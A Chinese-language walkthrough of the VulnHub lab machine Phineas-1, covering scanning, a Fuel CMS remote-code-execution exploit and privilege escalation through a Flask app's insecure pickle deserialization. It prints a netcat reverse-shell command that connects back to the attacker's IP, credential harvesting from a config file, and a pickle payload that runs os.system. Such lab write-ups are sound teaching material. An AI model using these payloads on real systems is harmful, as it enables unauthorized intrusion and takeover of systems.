Raven404
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

靶场:https://www.vulnhub.com/entry/phineas-1,674/
安装:下载之后导入到vmware,网络模式选择nat
攻击机:kali
一、信息搜集
arp-scan -l主机ip探测
192.168.203.134是新增加的ip,也就是靶机ip
nmap扫描
nmap --min-rate 10000 -p- 192.168.203.134 --端口扫描
nmap -sT -A -sV -O -sC -p 22,80,111,3306 192.168.203.134 -oA ./nmap/detail --端口详细信息探测
浏览器访问80端口,是apache的默认页面
基于根路径进行目录扫描
gobuster dir -w /root/Desktop/Pentest/fuzzDicts/directoryDicts/en_dirctories_all.txt -u http://192.168.203.134/ -t 5
就扫出来一个/structure,访问看看
看了下源码也没什么有用的东西,还得继续爆破
gobuster dir -w /root/Desktop/Pentest/fuzzDicts/directoryDicts/en_dirctories_all.txt -u http://192.168.203.134/structure/ -t 5
访问下robots.txt
访问下这个路径,会302跳转到/structure/fuel/start响应404。按理说robots.txt中的目录应该不会有404的情况,那么问题很有可能还是出在访问路径上。
先放下这个去看看/assets目录
挨个看了一遍没发现有用的东西,就一个index.html无法访问。还是接着去看路径吧......
之前的目录爆破都是基于路径的,试下敏感文件爆破
gobuster dir -w /root/Desktop/Pentest/fuzzDicts/directoryDicts/fileName10000.txt -u http://192.168.203.134/structure/ -t 5
多了index.php和README.md两个文件,README.md不用多说通常都是描述文件,看一下
通过阅读可以得知两个主要信息:
1.fuel是一个cms
2.网站使用fuel应该是小于1.4的版本
那么利用思路就有了,从网上搜一下cms相关的漏洞,最好是rce
直接google搜fuelcms就能看到
可以看到漏洞可利用版本Version: <= 1.4.1
二、RCE漏洞利用
将exp保存为py文件,分析exp代码可以知道漏洞利用需要一个url,结合上面敏感文件爆破时得到的index.php,就可以拿到一个/structure/index.php,访问这个路径和直接访问/structure/页面是一样的。
执行exp
python exp.py -u http://192.168.203.134/structure/index.php
没毛病,那就直接反弹吧
GG,urlencode试下
nc%20192.168.203.135%208888%20-e%20%2Fbin%2Fsh
还是不行,换一个反弹端口尝试,将8888改成443
成功,不需要urlencode
想用python美化下交互,但是失败了不知道什么原因。凑合用吧.....
进入到fuel目录中翻下敏感文件,最终在/var/www/html/structure/fuel/application/config/database.php中找到了数据库的配置信息
尝试使用ssh登录anna账户
三、反序列化提权
进入用户目录/home/anna
Desktop目录中有user.txt
执行sudo -l看看有没有可利用的
发现用户目录下的web目录有一个flask的应用,而且有root权限,那十有八九提权点就在这里
看下源码
很简单,/heaven接收一个awesome参数的post请求,再使用pickle处理参数。
用的应该是flask的默认端口5000,查看下5000端口是否在用,之前用nmap扫描并没有扫描到
netstat -anp|grep 5000
端口在用,但是扫描不到,那么可以推测从外部无法访问,需要转发到攻击机或者直接在靶机请求。
通过上面的源码可以到应用比较简单,就不转发了,直接在靶机上curl一下
服务可以访问,那剩下就是怎么利用的问题了
构造请求参数,使用python3版本,先确定下权限
import pickle
import os
import base64
class genpoc():
def __reduce__(self):
s = """whoami > 2.txt"""
return os.system, (s,)
e = genpoc()
poc = pickle.dumps(e)
print(poc)
poc_base64 = base64.urlsafe_b64encode(poc)
print(poc_base64)
下面的就是经过序列化并base64编码后的请求参数,构造curl请求
curl http://127.0.0.1:5000/heaven -d "awesome=gASVKQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA53aG9hbWkgPiAyLnR4dJSFlFKULg=="
在靶机上执行,会在当前目录下看到2.txt
成功了,接下来就是修改代码,把s改成反弹shell的命令,重新生成payload再发送请求
python3 -c "import pty;pty.spawn('/bin/bash')"美化一下(之前不能执行应该是权限问题)
四、总结
1.靶场本身不难,但是目录爆破如果字典不行就很难突破,平时还要留心整理字典
2.反弹shell最好使用通常不会被禁的端口,如80,443
参考文章
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)